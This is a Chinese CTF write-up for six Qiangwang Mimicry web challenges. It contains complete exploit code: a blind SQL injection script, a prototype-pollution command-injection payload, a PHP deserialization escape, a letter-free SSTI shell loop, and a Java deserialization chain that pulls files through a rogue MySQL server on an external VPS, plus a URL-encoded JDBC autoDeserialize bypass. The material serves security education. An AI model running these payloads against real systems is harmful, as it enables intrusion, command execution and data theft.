这次的强网拟态Web一共6个题目的全部做题记录WP如下,感觉basename的解析特点, RMIConnector#connect
函数进行二次反序列化,jdbc连接Mysql恶意服务任意文件读取,已赋值的键值对污染这几个点都挺有意思的,详细的知识点利用看下面WP,每个题都已经记录的很详细了。
开局一个登录界面, 测试确认用户名为admin的时候才会执行sql注入的语句, 所以username固定为admin, 在passowrd参数构造sqlkl注入语句进行时间盲注
fuzz后发现union join ;
都被ban了
import string
import time
import requests
# for i in range(10):
# # 0稳定子啊4.7~5.4
# # 1稳定在1~2之间
# # 2稳定在0.1~0.5
# sql=f"select case 0 when 0 then benchmark(511111111,1) when 1 then benchmark(311111111,1) else 2 end"
# password = f"xxx'or({sql.replace(' ', '/**/')})or'"
# data = {"username": "admin","password": password}
# print(data["password"])
# res = requests.post(url, data=data)
# print(res.elapsed.total_seconds())
# print("========")
# exit()
def get_str(s):
end="0x"
for c in s:
end+=str(hex(ord(c)))[2::]
return end
def getDatabase(): # 获取数据库名
global host
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
test_str=get_str(ans+chr(mid))
print(ans+chr(mid),(low,mid,high))
# usErs,FL49IsH3rE CtFGAME
# 5.7.39
# sys.schema_table_statistics
# query="select group_concat(table_schema) from sys.schema_table_statistics"
# query = "select group_concat(table_schema) from sys.x$ps_schema_table_statistics_io"
query = "select group_concat(f1aG123) from Fl49ish3re"
sql = f"select case STRCMP(({query}),{test_str}) when 0 then 0 when 1 then 1 else benchmark(511111111,1) end"
password = f"xxx'or({sql.replace(' ','/**/')})or'"
# print(password)
data = {"username": "admin", "password": password}
res = requests.post(url, data=data)
if "Password error" not in res.text:
print("CHECK!!!!!!\n",res.text)
if res.elapsed.total_seconds() > 2:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("database is -> " + ans)
url="http://172.51.60.14/index.php"
getDatabase()
显示查询users
表的password
字段拿到返回提示结果不在users表中, 然后拿到另一个表名FL49IsH3rE
进行注入获得flag
这个有点奇怪,在没有确认的字段的时候FL49IsH3rE
执行select语句查找像是不存在一样,即使是select count(*) from FL49IsH3rE
也是毫无反应
在sys的一个表下有flag查询历史记录, 从里面拿到查询语句从而得到字段名
这题直接贴一下@学弟jlan写的WP, 主要核心就是
constructor.prototype
只能污染不存在的参数(但是本地测试__proto__就可以通过两层嵌套成功污染已存在的参数)而command数组在merge污染之前就有赋值定义的所以不能直接通过constructor.prototype
进行污染但是我们可以嵌套两层
constructor.prototype
对Array数组进行污染, 从而达到污染session.command修改执行命令的目的, 而Array数组的键值0
指向第一个参数-c, 第二个键值1
指向的就是执行的命令了, 所以下面的payload就直接污染Array的1
这个键值对
申源码后条件
传入内容为json{"user":"json格式化后字符串"}
checkcommand中对command类型限制为array,并且限制最多传入两个,而且里面每一项的类型必须为字符串,长度小于等于4,以字母或数字或-开头
如果以上验证都通过,那么进入merge文件定义的merge函数,将我们传入的request.body.user
经过json解析把对象存入user里,然后merge把user传入到request.user
中
而如果对command内容的校验没有通过,那么command就会被直接赋值为["-c", "id"]
merge函数会对内容进行判断,会先对内容进行判断
const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
//首先判断源和目标内容是否在whileTypes里面,只要有一个在,那么就不会执行merge操作
const merge = (target, source) => {
for (const key in source) {
// console.log("key:",key);
// console.log("源定义:",(typeof source[key]))
// console.log("目标定义:",(typeof target[key]))
if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){
if(key !== '__proto__'){
console.log("keykkkkkk:",key);
merge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
只要目标和源中有一个类型在其中,就会直接将key之间执行赋值相等,而如果两者都不在,并且这个key不是__proto__
就会再执行merge操作
梳理完以上条件后,尝试通过constructor.prototype
来绕过,成功污染
import requests
url="http://127.0.0.1:3000/user"
user='''{"constructor":{"prototype":{"constructor":{"prototype":{"1":"whoami"}}}},"username":{"OK":"a"},"command":["-c"]}'''
# {"constructor":{"prototype":{"constructor":{"prototype":{"command":["-c","lsssss"]}}}}}
# user='''{"username":"aaa"}'''
print({"user":user})
print(requests.post(url=url, json={"user": user}).text)
两层污染到Array,此时我们传入command只传入一项,在merge时遍历source中command属性到1时就会将我们污染的内容传入target的command
在1位置任意传入命令即可执行
import requests
url="http://127.0.0.1:3000/user"
user='''{"constructor":{"prototype":{"constructor":{"prototype":{"1":"cat /flag"}}}},"username":{"OK":"a"},"command":["-c"]}'''
# {"constructor":{"prototype":{"constructor":{"prototype":{"command":["-c","lsssss"]}}}}}
# user='''{"username":"aaa"}'''
print({"user":user})
print(requests.post(url=url, json={"user": user}).text)
这个题目应该说有三层
知识点:
basename
如果检测到当前的文件名全部字符都在非ASCII码范围
就会丢弃当前文件名, 接续将上一层目录作为文件名读出
还有一点就是/index.php/xxxxxxx
(包括index.php/x/x/x/x/x/xxx
)都会执行index.php脚本
$_SERVER["PHP_SELF"]
即为当前URI的执行文件定位路径
PHP反序列化字符逃逸+PHP反序列化fastdestruct
绕过__wakeup
对协议解析格式的理解和利用
开局拿到index.php
源码
<?php
include 'tm.php'; // Next step in tm.php
if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
{
exit("no way!");
}
if (isset($_GET['source']))
{
$path = basename($_SERVER['PHP_SELF']);
if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
{
exit("nonono!");
}
highlight_file($path);
exit();
}
?>
<a href="index.php?source">source</a>
然后使用上面说的basename
函数处理特点绕过过滤拿到tm.php
源码
http://172.51.60.211/index.php/tm.php/%ff?source
<?php
class UserAccount
{
protected $username;
protected $password;
public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}
function object_sleep($str)
{
$ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
return $ob;
}
function object_weakup($ob)
{
$r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
return $r;
}
class order
{
public $f;
public $hint;
public function __construct($hint, $f)
{
$this->f = $f;
$this->hint = $hint;
}
public function __wakeup()
{
//something in hint.php
if ($this->hint != "pass" || $this->f != "pass") {
$this->hint = "pass";
$this->f = "pass";
}
}
public function __destruct()
{
if (filter_var($this->hint, FILTER_VALIDATE_URL))
{
$r = parse_url($this->hint);
if (!empty($this->f)) {
if (strpos($this->f, "try") !== false && strpos($this->f, "pass") !== false) {
@include($this->f . '.php');
} else {
die("try again!");
}
if (preg_match('/prankhub$/', $r['host'])) {
@$out = file_get_contents($this->hint);
echo "<br/>".$out;
} else {
die("<br/>error");
}
} else {
die("try it!");
}
}
else
{
echo "Invalid URL";
}
}
}
$username = $_POST['username'];
$password = $_POST['password'];
$user = serialize(new UserAccount($username, $password));
unserialize(object_weakup(object_sleep($user)))
?>
简单分析
@0@0@0@
每被替换一次就会产生4字符的偏移(就是username
的字符读取扩张, 从而读取到原本不属于它的字符), 所以使用7次@0@0@0@
满足28字符的偏移要求, 让后面的password
逃逸出来执行自定义的反序列化order
类进行反序列化order::__wakeup
重定义order::f
和order::hint
order::__destruct
函数有两个功能, 第一个是@include($this->f . '.php');
, 第二个是echo file_get_contents($this->hint);
(执行include之后才会执行file_get_contents), 同时对这两个变量有要求:
$this->f
必须同时包含try
和pass
两个字符串$this->hint
使用parse_url
解析后其域名必须以prankhub
结尾(也就是xxx://yyy/zzz
...中的yyy必须以prankhub结尾)问题解决
字符逃逸自定义反序列化
第一点自定义数据触发order
类的反序列化构造原理上面已经说了, 不再描述
order::__wakeup
绕过
第一眼看到__wakeup
绕过就下意识的看了一下响应头有没有PHP版本, 然后可以看到是5.x, 所以就是直接使用老方法把参数个数+1
即可绕过
include
和file_get_contents
的利用
这个当时还带有一点迷惑性,毕竟自从hxp CTF 2021 - The End Of LFI?出来以后没有前缀限制且能获取到一个有数据的文件的include
几乎就等于RCE了
而这个题目环境中是先执行include
再调用file_get_contents
, 一开始我便以为是多此一举了, 但是实际执行的时候就出现了问题, 不管是使用陆队文章中的脚本还是使用wupco师傅的PHP_INCLUDE_TO_SHELL_CHAR_DICT,最后读出的数据都不能RCE(应该就是出题人专门选了一个确实必要字符集的docker容器或者出题人将关键字符集删掉了?不懂..)
补充:include预期中应该是使用
php://filter
来读取hint.php的,但是因为include的文件会被加上.php所以并不能读取到flag的.txt文件,后面依旧是使用下面的方法通过file_get_contents
获取flag
既然include
没用那就直接让$this->f='trypass'
满足要求然后执行file_get_contents
,
首先需要使用协议的格式才能读取, 这里如果想使用php://filter
就不行, 这里想要可以直接使用一个非协议的随机字符串就行, 这时候满足了parse_url
和filter_var($this->hint, FILTER_VALIDATE_URL)
的格式同时又因为没有对应协议所以会被作为文件名解析, 只要多几个../
即可完成绕过, 最后读取h0cksr://prankhub/../../../../../../../var/www/html/hint.php
拿到flag位置, 再读取h0cksr://prankhub/../../../../../../../f1111444449999.txt
拿到flag
因为我这里一开始是准备使用LIF所以$o->f
的文件名高达上千个字符, 所以让password
膨胀到了4位数, 需要的拓展位为28位, , 通过执行下面代码
<?php
class order
{
public $f;
public $hint;
}
class UserAccount
{
protected $username;
protected $password;
}
$o= new order();
$o->f='http://h0cksr.xyz/trypass';
$o->hint='h0cksr://prankhub/../../../../../../../f1111444449999.txt';
$ser=serialize($o);
$insert=';s:6:"h0cksr";'.str_replace('"order":2','"order":3',$ser).';}';
$username = '123'.str_repeat('@0@0@0@',7);
$password = $insert.str_repeat("01234567890",200);
$user = serialize(new UserAccount($username, $password));
file_put_contents("1.txt",$username."\n".$password);
system("python 1.py");
因为生成的数据太长复制粘贴比较麻烦所以将请求数据写入一个文件中, 然后在1.py读取文件数据发出请求
import requests
data = open("1.txt","rb").readlines()
username,password = data[0],data[1]
data={
"username":username,
"password":password
}
# print(requests.get("http://172.51.60.211").text)
print(username)
print(password)
url="http://172.51.60.211/tm.php"
print("================")
res = requests.post(url,data)
print(res.text)
print("================")
读取hint.php拿到flag位置
读取flag
Python且输出返回用户数据, 第一考虑SSTI, 试了一下下{{7*7}}
返回49, 确定是SSTI, 然后进一步确定是不能有字母, 所以就是无字母SSTI
直接使用Flask ssti中的脚本使用8进制绕过,构造exp即可, 通过__subclasses__
看到Popen
, 然后使用for循环逐个遍历找出popen执行命令输出结果获得flag
import requests
def get(exp):
dicc = []
exploit = ""
for i in range(256):
eval("dicc.append('{}')".format("\\" + str(i)))
for i in exp:
exploit += "\\" + str(dicc.index(i))
return exploit
# for i in range(10000):
# payload = "{{" + f"''['{get('__class__')}']['{get('__mro__')}']['{get('__getitem__')}'](1)['{get('__subclasses__')}']()['{get('pop')}']({i})['{get('__init__')}']['{get('__globals__')}']" \
# f"['{get('__builtins__')}']['{get('__import__')}']('{get('os')}')['{get('popen')}']" + "}}"
# print(payload)
# url = "http://172.51.60.171/"
# data = {"data": payload}
#
# res = requests.post(url, data=data)
# if "popen" in res.text:
# print(payload)
# print(res.text)
# {{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}分割的一部分
# ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('').read()
while 1:
cmd = input("CMD#")
payload = "{{" + f"''['{get('__class__')}']['{get('__mro__')}']['{get('__getitem__')}'](1)['{get('__subclasses__')}']()['{get('pop')}'](81)['{get('__init__')}']['{get('__globals__')}']" \
f"['{get('__builtins__')}']['{get('__import__')}']('{get('os')}')['{get('popen')}']('{get(cmd)}')['{get('read')}']()" + "}}"
# print(payload)
url = "http://172.51.60.171/"
data = {"data": payload}
res = requests.post(url, data=data)
print(res.text.split(" <p>")[-1].split("</p>")[0])
{{''['\137\137\143\154\141\163\163\137\137']['\137\137\155\162\157\137\137']['\137\137\147\145\164\151\164\145\155\137\137'](1)['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()['\160\157\160'](81)['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\137\137\151\155\160\157\162\164\137\137']('\157\163')['\160\157\160\145\156']('\154\163')['\162\145\141\144']()}}
查看依赖看到只有除了Spring之外只有一个5.0.3的mysql-connector-java
, 所以应该就不是直接打纯原生链了, 再看com.example.demo.utils.MyObjectInputStream
中对反序列化类的过滤, 禁止了下面的类序列化:
文件结构如下:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.demo;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController {
public IndexController() {
}
@ResponseBody
@RequestMapping({"/"})
public String index() {
return "wuwuwuwuwuwuwuwu~~~~~~~~~~~~";
}
@ResponseBody
@RequestMapping({"/read"})
public String readObject(@RequestParam(name = "data",required = true) String data) throws Exception {
System.out.println(data);
byte[] bytes = tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
String secret = data.substring(0, 6);
String key = objectInputStream.readUTF();
System.out.println(secret);
System.out.println(key);
if (key.hashCode() == secret.hashCode() && !secret.equals(key)) {
objectInputStream.readObject();
return "oops";
} else {
return "incorrect key";
}
}
}
控制器会读取data参数进行base64解码然后使用readUTF
从对象输入流中读取字符, 并且检测查看它的hashcode是否和data的前6个字符串的hashcode相等而字符串本身不相等(hashcode碰撞,这里直接使用qn0ABX
即可, data数据为序列化数据的base64编码, 在没有添加脏数据默认情况前6个字符就是rO0ABX
)。
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.demo.utils;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;
public class MyObjectInputStream extends ObjectInputStream {
public Set blacklist = new HashSet() {
{
this.add("com.example.demo.bean.Connect");
}
};
public MyObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
if (!this.blacklist.contains(cls.getName()) && !cls.getName().matches("java\\.security.*") && !cls.getName().matches("java\\.rmi.*")) {
return super.resolveClass(cls);
} else {
throw new InvalidClassException("Unexpected serialized class", cls.getName());
}
}
}
怎样成功反序列化的问题解决了, 那么接下来就找怎么反序列化了。正常直接反序列化的话会受到上面所说的三个类的限制, 首先我们看一下依赖, 除了Spring自带的之外只有一个5.0.3的mysql-connector-java
, 相关的就是jdbc连接加载了, 那么怎么触发漏洞其实在MyBean
这个类里面就有间接的提示了, 里面的toString
就是反序列化常见的触发点了, 而在com.example.demo.bean.MyBean#toString
里面掉用了com.example.demo.bean.MyBean#getConnect
,它会调用一个JMXConnector
的connetct函数。
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.demo.bean;
import java.io.IOException;
import java.io.Serializable;
import javax.management.remote.JMXConnector;
public class MyBean implements Serializable {
private Object url;
private Object message;
private JMXConnector conn;
public MyBean() {
}
public MyBean(Object url, Object message) {
this.url = url;
this.message = message;
}
public MyBean(Object url, Object message, JMXConnector conn) {
this.url = url;
this.message = message;
this.conn = conn;
}
public String getConnect() throws IOException {
try {
this.conn.connect();
return "success";
} catch (IOException var2) {
return "fail";
}
}
public void connect() {
}
public String toString() {
try {
return "MyBean{url=" + this.url + ", message=" + this.message + this.getConnect() + '}';
} catch (IOException var2) {
var2.printStackTrace();
return "MyBean{url=" + this.url + ", message=" + this.message + ",state=fail" + '}';
}
}
public Object getMessage() {
return this.message;
}
public void setMessage(Object message) {
this.message = message;
}
public Object getUrl() {
return this.url;
}
public void setUrl(Object url) {
this.url = url;
}
}
上面说了com.example.demo.bean.MyBean#toString
会触发JMXConnector#connect
, 而题目自定义的类com.example.demo.bean.Connect
就是JMXConnector
的实现类, 里面也有connect
函数, 这个函数会使用com.mysql.jdbc.Driver
加载类内的url, 这里就是重点了, 这个加载我们将其设为jdbc:mysql://VPS:port/databaseName
, 这时候就可以通过连接我们的恶意Mysql服务进行任意文件读取了
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.demo.bean;
import java.io.IOException;
import java.io.Serializable;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Map;
import javax.management.ListenerNotFoundException;
import javax.management.MBeanServerConnection;
import javax.management.NotificationFilter;
import javax.management.NotificationListener;
import javax.management.remote.JMXConnector;
import javax.security.auth.Subject;
public class Connect implements JMXConnector, Serializable {
private String url;
private String name;
private String password;
public Connect(String url, String name, String password) {
this.url = url;
this.name = name;
this.password = password;
}
public String getUrl() {
return this.url;
}
public void setUrl(String url) {
this.url = url;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public String getPassword() {
return this.password;
}
public void setPassword(String password) {
this.password = password;
}
public void connect() throws IOException {
String driver = "com.mysql.jdbc.Driver";
try {
Class.forName(driver);
} catch (ClassNotFoundException var4) {
var4.printStackTrace();
}
try {
DriverManager.getConnection(this.url + this.name + this.password);
} catch (SQLException var3) {
var3.printStackTrace();
}
}
public void connect(Map<String, ?> env) throws IOException {
}
public MBeanServerConnection getMBeanServerConnection() throws IOException {
return null;
}
public MBeanServerConnection getMBeanServerConnection(Subject delegationSubject) throws IOException {
return null;
}
public void close() throws IOException {
}
public void addConnectionNotificationListener(NotificationListener listener, NotificationFilter filter, Object handback) {
}
public void removeConnectionNotificationListener(NotificationListener listener) throws ListenerNotFoundException {
}
public void removeConnectionNotificationListener(NotificationListener l, NotificationFilter f, Object handback) throws ListenerNotFoundException {
}
public String getConnectionId() throws IOException {
return null;
}
}
但是前面我们说过com.example.demo.bean.Connect
这个类是不被允许反序列化的, 那么怎么才能调用呢?
答案就是二次反序列化了, 但是常用的java.security
也被ban了, 这时候就需要找到另一个触发二次反序列化的class了, 这里可以参考2022鹏城杯-Ez_Java和[JavaDerserializeLabs-writeup](http://novic4.cn/), 使用RMIConnector
(JMXConnector的唯一原生实现类)触发二次反序列化, 想要触发RMIConnector的二次反序列化功能就需要调用它的connect
函数
所以, 这不就符合条件了?
com.example.demo.bean.Connect
的反序列化限制RMIConnector#connect
完成二次反序列化MyBean#toString
会触发一个JMXConnector属性的connect
函数, RMIConnector是JMXConnector的实现类所以RMIConnector#connect
也在可触发范围内好的, 现在问题就来到了怎么触发MyBean#toString
, 这个就可以用BadAttributeValueExpException
触发一个对象的toSring
(CC5中被使用)
所以总结下来就是:
BadAttributeValueExpException => MyBean#toString => RMIConnector#connect => 二次反序列化
BadAttributeValueExpException => MyBean#toString => com.example.demo.bean.Connect#connect => com.mysql.jdbc.Driver#getConnection => 使用我们定义的jdbc链接去访问恶意Mysql服务 => 任意文件读取
恶意Mysql服务有很多个, 但是个人还是感觉rogue_mysql_server这个项目比较好用
先在本地运行rogue_mysql_server
开启一个恶意的mysql服务, 然后通过二次反序列化让com.mysql.jdbc.Driver#getConnection
连接jdbc:mysql://VPS:PORT/file:///?allowLoadLocalInfile=true&allowUrlInLocalInfile=true
, 运行成功可以在rogue_mysql_server服务运行界面看到连接请求以及文件读取情况, 如果成功了的话默认会将文件的读取结果输出到./loot/连接服务的ip/时间戳_文件名
里面
下面是生成触发payload的EXP::
package com.example.demo;
import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;
import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field valfield = obj.getClass().getDeclaredField(fieldName);
valfield.setAccessible(true);
valfield.set(obj,value);
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
// 序列化后的数据初始6位一般为 rO0ABX 所以writeUTF写入一个和rO0ABX同hashcode的字符串
objOut.writeUTF("qn0ABX");
objOut.writeObject(obj);
return out.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
//首次反序列化, 使用RMIConnector#connect触发二次反序列化
public static byte[] getTest(String message,RMIConnector rmiConnector) throws Exception {
String url ="h0cksr::url";
//String message = "h0cksr::message";
MyBean myBean = new MyBean(url,message,rmiConnector);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val",myBean);
byte[] ser = serialize(badAttributeValueExpException);
//deserialize(ser);//执行反序列化检验能否成功触发
return ser;
}
public static void main(String[] args) throws Exception {
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
// 获取到二次反序列化的base64数据, 后面会通过JMXServiceURL加载触发反序列化
String exp= Base64.getEncoder().encodeToString(tser.toByteArray());
// System.out.println("exp::"+exp);
Map<String, Integer> map=new HashMap<>();
RMIConnector rmiConnector=new RMIConnector(new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),map);
int i=0;
byte[] ser = getTest("message"+Integer.toString(i),rmiConnector);
String data = Base64.getEncoder().encodeToString(ser);
System.out.println( data);
// 下面代码用于检验数据是否满足题目的hashcode检验要求(可删掉)
if(true){
InputStream inputStream = new ByteArrayInputStream(ser);
ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
String key = objectInputStream.readUTF();
if(key.hashCode()==data.substring(0, 6).hashCode()){
System.out.println("OK");
}
else System.out.println("Check Your readUTF data's hashCode");
}
}
//被嵌套的二次反序列化对象
public static Object getObject() throws Exception {
// 这里修改为Mysql恶意服务Rogue-MySql-Server的ip和port
String url ="jdbc:mysql://10.91.60.14:3306/file:///?allowLoadLocalInfile=true&allowUrlInLocalInfile=true";
String name = "&user=root";
String password = "&password=password";
Connect connect = new Connect(url,name,password);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
String message = "h0cksr::message";
MyBean myBean = new MyBean(url,message,connect);
setFieldValue(badAttributeValueExpException, "val",myBean);
return badAttributeValueExpException;
}
}
使用https://github.com/allyshka/Rogue-MySql-Server
读取文件, 但是falg并不在/flag
里面
先是读取/etc/passwd成功, 但是读取/flag失败了
通过读取file:///
或netdoc:///
列根目录拿到flag位置
读取flag
这个题没有源码, 直接访问就是提示输入一个url参数, 值为jdbc链接
如果做了上面的NoRCE那就很简单了, 继续使用上面的方式进行任意文件读取拿到jar包进行分析(读取file:///
列目录得到程序jar包位置/application/application.jar
)
url=jdbc:mysql://vps:port/ttt?allowLoadLocalInfile=true&allowUrlInLocalInfile=true
然后对源码进行分析, 直接看依赖就测试确认打Grovy1
这个链子本地测试可用
然后源码分析发现是对url进行了autoDeserialize
参数的检验, 要求jdbc请求链接不能定义autoDeserialize参数, 这里使用url编码方式绕过, 因为com.mysql.jdbc.Driver#getConnection
连接jdbc链接的时候会对其进行url解码
绕过了autoDeserialize, 确认了利用链, 然后就是直接设置rogue_mysql_server的config.yaml
配置Grovy1的利用链即可
jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:grovy1&%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=password
执行测试语句成功:
那么来到服务程序中打一下(NONONO的输出是我修改代码才显示的,代码改动看下面):
可以看到并没有成功, 为什么?
这一波属实小丑了, 因为当时没注意加空格的问题, 所以一直都是有时候可以有时候不行(因为有时候我带了空格有时候没带), 直到比赛结束之后注意到这点
我们在%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65
的后面加个空格就可以执行成功
这时候就成功了, 原因的话就要看回源代码检查autoDeserialize
的逻辑了
query
赋值, query进行url解码, 然后参数字符串将按&
切割, 放到一个String数组里=
切割为key和value, 如果key转大写后等于AUTODESERIALIZE就设置valid=false
不就行jdbc请求 if (url.startsWith("jdbc:mysql:") && !url.toUpperCase().contains("AUTODESERIALIZE")) {
int firstIndex = url.indexOf("?");
String query = url.substring(firstIndex + 1);
String realQuery = null;
try {
realQuery = URLDecoder.decode(query, "UTF-8");
} catch (UnsupportedEncodingException var12) {
}
boolean valid = true;
String[] var6 = realQuery.split("&");
int var7 = var6.length;
for(int var8 = 0; var8 < var7; ++var8) {
String keyValue = var6[var8];
String key = keyValue.split("=")[0];
if (key.toUpperCase().equals("AUTODESERIALIZE")) {
valid = false;
return "NONONOONO";
}
}
if (valid) {
try {
DriverManager.getConnection(url);
} catch (SQLException var11) {
}
}
}
命令执行成功了, 那么直接修改config.yaml
中设置的grovy1
执行命令就行了
10 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!